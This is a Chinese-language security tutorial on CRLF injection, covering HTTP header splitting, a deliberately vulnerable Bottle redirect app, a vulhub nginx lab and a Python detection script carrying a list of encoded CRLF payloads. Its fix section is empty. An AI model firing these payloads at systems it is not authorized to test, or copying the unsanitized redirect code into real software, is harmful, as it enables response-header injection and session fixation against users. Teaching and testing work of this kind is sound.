crlf注入原理

crlf注入原理一 概念这个漏洞一般很少出现 CRLF 是 CR 和 LF 两个字符的拼接 它们分别代表 回车 换行 r n 十六进制编码分别为 0x0d 和 0x0a URL 编码为 0D 和 0A CR 和 LF 组合在一起即 CRLF 命令 它表示键盘上的 Enter 键 许多应用程序和网络协议使用这些命令作为分隔符 CR 回车 移动到当前行的开始 LF 换行 光标垂直移动到下一行了解这个漏洞之前我们需先了解 HTTP 报文结构二 HTTP 报文结构与漏洞原理

目录

概念

HTTP报文结构与漏洞原理

漏洞检测

Bottle之CRLF漏洞

nginx配置错误之CRLF漏洞

漏洞危害

会话固定

修复建议

漏洞检测POC


概念

  • CR:回车,移动到当前行的开始
  • LF:换行 ,光标垂直移动到下一行

         了解这个漏洞之前我们需先了解HTTP报文结构

HTTP报文结构与漏洞原理

        在http协议中,http header之间用一个CRLF字符序列分割开来,Head与Body之间用两个CRLF分割开,浏览器根据这两个CRLF来取出HTTP内容并显示出来。

crlf注入原理

      所以如果用户的输入在http返回包的Header处回显,如重定向

crlf注入原理

我们就可以通过添加一个crlf来提前结束响应头。如?url=https://www.baidu.com%0d%0aSet-Cookie:12345,浏览器识别到其中存在一个CRLF,就会把其后面的数据当做响应头来处理,提前结束响应头

crlf注入原理

漏洞检测

        如果请求头中输入的某个值在返回包的header处回显,则可以进行测试。在其后面加上%0d%0aSet-Cookie:12345 ,返回包中存在Set-Cookie字段则存在漏洞,如下Bottle的某个版本存在crlf注入漏洞,通过在请求头部添加CRLF,其之后的内容被当做了另一个响应头进行处理

Bottle之CRLF漏洞

Bottle:一个python web框架

crlf.py

import bottle from bottle import route, run, request @route('/') def index(): crlf_test = request.query.get('url', '') return bottle.redirect(crlf_test) if __name__ == '__main__': bottle.debug(True) run(host='192.168.60.7', port=8081)

执行python crlf.py,访问192.168.60.7:8081/?url=https://www.baidu.com,在请求中拼接%0d%0aSet-Cookie:123,返回包中存在Set-Cookie字段

crlf注入原理

nginx配置错误之CRLF漏洞

使用vulhub的环境,进入/vulhub-master/nginx/insecure-configuration目录,执行docker-compose up -d启动环境

crlf注入原理

访问8080端口,并添加%0d%0aset-cookie:123

crlf注入原理

漏洞危害

        根据插入的CRLF的个数不同,可设置任意的响应头,控制响应正文。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

什么是会话固定,传送门 -》会话固定

       会话固定:用户登录前和登录后,会话ID(cookie)值是一样的。

       如果服务器存在会话固定漏洞,攻击者通过给访问者事先设定一个sessionID值,然后通过各种手段促使受害者使用这个会话ID通过服务器验证,这样攻击者就可以通过这个会话ID进入受害者的账户。

crlf注入原理

修复建议

漏洞检测POC

写了一个简单的漏洞检测脚本,payload可以根据需求自行添加

import requests import argparse from requests.packages import urllib3 urllib3.disable_warnings() from colorama import init init(autoreset=True) header={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/ Firefox/78.0' } def url(): des="CRLF注入漏洞POC" parser = argparse.ArgumentParser(description=des) parser.add_argument('--target_url',type=str,help='The target address,example: http://192.168.140.153:8081') args = parser.parse_args() target_url = args.target_url print("[-]CRLF注入漏洞POC") print("[-]正在执行检测...") print("[-]目标地址:",target_url) return target_url def check(target_url): payload=['%E5%98%8A%E5%98%8D%0D%0Aheader:header','%E5%98%8A%E5%98%8D%0Dheader:header','%E5%98%8A%E5%98%8D%0Aheader:header','%E5%98%8A%E5%98%8Dheader:header','%5cr%5cnheader:header','%3F%0D%0Aheader:header','%3F%0Aheader:header','%23%OAheader:header','%23%0D%0Aheader:header','%23%0Aheader:header','%20%0D%0Aheader:header','%20%0Dheader:header','%20%0Aheader:header','%0D%20header:header','%0D%0A%20header:header','%0D%0A%09header:header','%0aheader:header','%0d%0aheader:header', '/%0d%0aheader:header','/?url=https://www.baidu.com%0d%0aheader:header','/?id=%0d%0aheader:header','?url=%0d%0aheader:header','?id=%0d%0aheader:header','%0aheader:header', '%0dheader:header', '%23%0dheader:header', '%3f%0dheader:header', '/%250aheader:header', '/%25250aheader:header', '/%%0a0aheader:header', '/%3f%0dheader:header', '/%23%0dheader:header', '/%25%30aheader:header', '/%25%30%61header:header', '/%u000aheader:header', '/www.baidu.com/%2f%2e%2e%0d%0aheader:header'] result = False for i in payload: url = target_url + i #print(url) try: headers = requests.get(url=url,headers=header,allow_redirects=False,verify=False,timeout=4).headers #print(headers) if 'header' in list(headers): print('\033[0;31m[+]漏洞存在\033[0m') result = True return True break except: pass if not result: print('\033[0;32m[+]漏洞不存在\033[0m') if __name__ == '__main__': target_url = url() check(target_url)

crlf注入原理

里面有几个小的知识点,因为crlf一般发生在重定向的地方,脚本中在请求一个url的时候会发出两个请求包,第一个是为301重定向的数据包,第二个是访问重定向后的url,而脚本输出请求url的返回的数据的时候只会输出第二个数据包,这里就需用在requests.get中添加allow_redirects=False,禁止访问重定向的url,这样我们就能查看第一个url的返回信息。还有就是requests在访问某个url异常即没有反应的时候会抛出异常然后程序停止,然而我们脚本中需要在url中拼接一个个payload进行访问,每个拼接后的url都要求访问然后查看返回的数据,不能让程序停止,所以要添加try,except:pass,让请求url错误的时候也不会停止程序的运行。

                                          ——心,若没有栖息的地方,到哪都是流浪

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/213777.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月18日 下午5:40
下一篇 2026年3月18日 下午5:40


相关推荐

  • javaweb-青橙项目-1-76

    javaweb-青橙项目-1-76

    2021年5月18日
    128
  • 笛卡尔乘积c语言代码,c – 高效笛卡尔乘积算法

    笛卡尔乘积c语言代码,c – 高效笛卡尔乘积算法有人可以向我证明比目前使用的笛卡儿乘积算法更有效 假设有一个 我已经看了周围的 SO 和谷歌 但看不到任何明显的东西 所以我可能会缺少一些东西 foreach intiinis foreach intjinjs Pairiandj 这是我在代码中做的非常简化的版本 两个整数是用于检索一个 多个对象的查找键 并且来自两个查找的所有对象都被配对在一起成为新对象 这个小

    2026年3月17日
    2
  • 文件服务器审计—首选Netwrix文件服务器审计工具

    文件服务器审计—首选Netwrix文件服务器审计工具文件服务器审计—首选Netwrix文件服务器审计工具为了遵守外部法规和确保业务连续性,企业需要审核他们的文件服务器,以确保防止敏感数据泄漏和未经授权的修改。看到论坛很多类似的讨论,而且微软自带的审计策略往往不能满足IT的所有需求。常常通过第三方的软件来实现文件服务器的审计功能。NetwrixWindows文件服务器工具有免费版本的变更通知工具以及收费版本的审计工具。可以自…

    2022年6月4日
    63
  • 哈希冲突-哈希碰撞「建议收藏」

    哈希冲突-哈希碰撞「建议收藏」当我们对某个元素进行哈希运算,得到一个存储地址,然后要进行插入的时候,发现已经被其他元素占用了,其实这就是所谓的哈希冲突,也叫哈希碰撞。哈希函数的设计至关重要,好的哈希函数会尽可能地保证计算简单和散列地址分布均匀,但是,我们需要清楚的是,数组是一块连续的固定长度的内存空间,再好的哈希函数也不能保证得到的存储地址绝对不发生冲突。那么哈希冲突如何解决呢?哈希冲突的解决方案有多种:开放地址法(发生…

    2022年6月16日
    52
  • vscode设置vue模板_vscode怎么创建vue项目

    vscode设置vue模板_vscode怎么创建vue项目VSCode配置Vue模板代码前端行业使用的编辑器有很多,比如VSCode和webStorm,其中在创建vue文件后webStorm可以自动生成相关的代码,而在VSCode中得一个一个的敲,这样既浪费时间又效率低,因此,在VSCode中可以一键生成vue模板吗?当然可以,过程如下:1、打开VSCode编辑器2、左上角文件(F)=>首选项=>用户片段3、在出现的框中输入vue之后按回车键4、在出现的vue.json文件内写入以下代码

    2025年9月25日
    6
  • 教你win10系统显卡驱动安装失败的解决方法

    教你win10系统显卡驱动安装失败的解决方法我们日常在对电脑的使用过程中,经常都会遇到这样或那样的问题。比如说win10系统显卡驱动安装失败该怎么办呢?别着急,还有小编在呢?接下来小编就来告诉大家win10电脑系统显卡驱动安装失败怎么解决。详细教你win10系统显卡驱动安装失败怎么办:方法一,删除之前的显卡驱动文件重新安装1,首先,右键点击“此电脑”,菜单栏选择“管理”。2,进入计算机管理界面后,点击“设备管理器”,然后在界面右侧展开“显示适配器”选项,并右键点击显卡驱动程序,菜单栏选择“属性”下一步。3,点击“卸载设备”。4,显卡

    2022年6月13日
    36

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号